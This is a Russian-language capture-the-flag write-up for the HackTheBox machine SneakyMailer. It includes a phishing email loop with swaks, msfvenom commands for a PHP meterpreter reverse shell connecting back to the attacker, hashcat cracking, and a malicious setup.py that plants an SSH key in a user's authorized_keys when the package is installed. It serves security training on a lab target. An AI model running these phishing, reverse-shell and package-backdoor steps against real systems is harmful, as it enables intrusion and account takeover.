Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье мы получим список адресов электронной почты, выполним рассылку фишинговых писем, разместим PHP шелл через FTP, выполним произвольный код благодаря PyPI и повысим привилегии через GTFOBins pip3.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.197, который я добавляю в /etc/hosts.

10.10.10.197 	sneakymailer.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1



Видим много открытых портов, часть из которых отвечает за почту, 80 и 8080 — веб сервер, а также активны службы FTP и SSH, для которых нужны учетные данные. Как видно из скана, на веб сервер перенаправляет на на другой домен. Давайте добавим его в /etc/hosts.
10.10.10.197    sneakycorp.htb

На сайте можно найти список сотрудников и соответствующие email’ы.



Для получения всех адресов электронной почты советую использовать email extractor.



А теперь давайте откроем 80 порт и выполним многоадресную рассылку фишинговых писем с помощью swaks.

while read mail; do swaks --to $mail --from colleenhurst@sneakymailer.htb --header 'Subject: News' --body 'Look it: http://10.10.14.114/' --server sneakymailer.htb | grep 'To:' ; done < emails.txt



И видим, что какой-то пользователь переходит по нашей ссылке.



Давайте декодируем данные.



И получаем пароль, с помощью которого мы можем авторизоваться на почтовом сервере.

Entry point


В качестве клиента используем Evolution.









Вводим пароль при подключении и видим два письма.



В одном из которых есть пароль для разработчика (подходит для FTP) и упоминание PyPI, связанное с пользователем low.





Зайдя на FTP и получив некоторые файлы, замечаем, что это исходные коды сайта.





Давайте добавим поддомен dev в /etc/hosts.
10.10.10.197    dev.sneakycorp.htb



Таким образом мы можем разместить php шелл на сервере. Давайте сделаем это. В качестве нагрузки я использовал meterpreter.

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.114 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php



После размещения файла в директорию dev запустим листенер.
handler -p php/meterpreter_reverse_tcp -H 10.10.14.114 -P 4321
И после обращения к нашему файлу, получаем активную сессию.





USER


Осматриваемся в окружении веб-сервера, отмечаем для себя поддомен pypi, уже упомянутый в данной лаборатории, и находим файл .htpasswd.





Давайте найдем пароль.

hashcat --example | grep '$apr1' -A2 -B2



hashcat -m 1600 -a 0 pypi.hash ./tools/rockyou.txt



Найденный поддомен также добавим в /etc/hosts.

10.10.10.197    pypi.sneakycorp.htb



На самом деле, установка своего пакета дает нам возможность выполнения произвольного кода. Вот хорошая инструкция по созданию python пакета. Первым делом создадим директорию.



Теперь нам нужно создать следующие файлы: __init__.py, .pypirc, README.md, setup.cfg и setup.py (он и содержит выполняемый код). Ниже привожу код файла setup.py. В нем мы записываем свой ключ SSH пользователю low.

from setuptools import setup 
try: 
       f = open('/home/low/.ssh/authorized_keys', 'a') 
f.write('ssh-rsa ... ') 
       f.close() 
except: 
       setup( 
   name='ralfpack', 
   packages=['ralfpack'], 
   description='R', 
   version='0.1', 
   url='http://pypi.sneakymailer.htb:8080/ralfpack', 
   author='ralf', 
   author_email='ralf@ralf.com', 
   keywords=['pip','ralfpack','example'] )

Создаем __init__.py (чтобы был), пустой README.md и setup.cfg (в нем указываем README.md).





И осталось сделать .pypirc файл. Задаем название пакета и конфигурации для него.



Загружаем все файлы на хост.



Получим нормальную оболочку и соберем наш пакет.

python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 setup.py sdist



Теперь загрузим его.

python3 setup.py sdist upload -r ralfpack



Наш ключ загружен, и мы можем смело подключаться по SSH с приватным ключом.



ROOT


Из настроек sudo узнаем, что мы можем выполнить pip3 от имени root.



Обращаемся к GTFOBins и видим инструкцию получения шелла.



Повторяем и получаем шелл от имени root.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.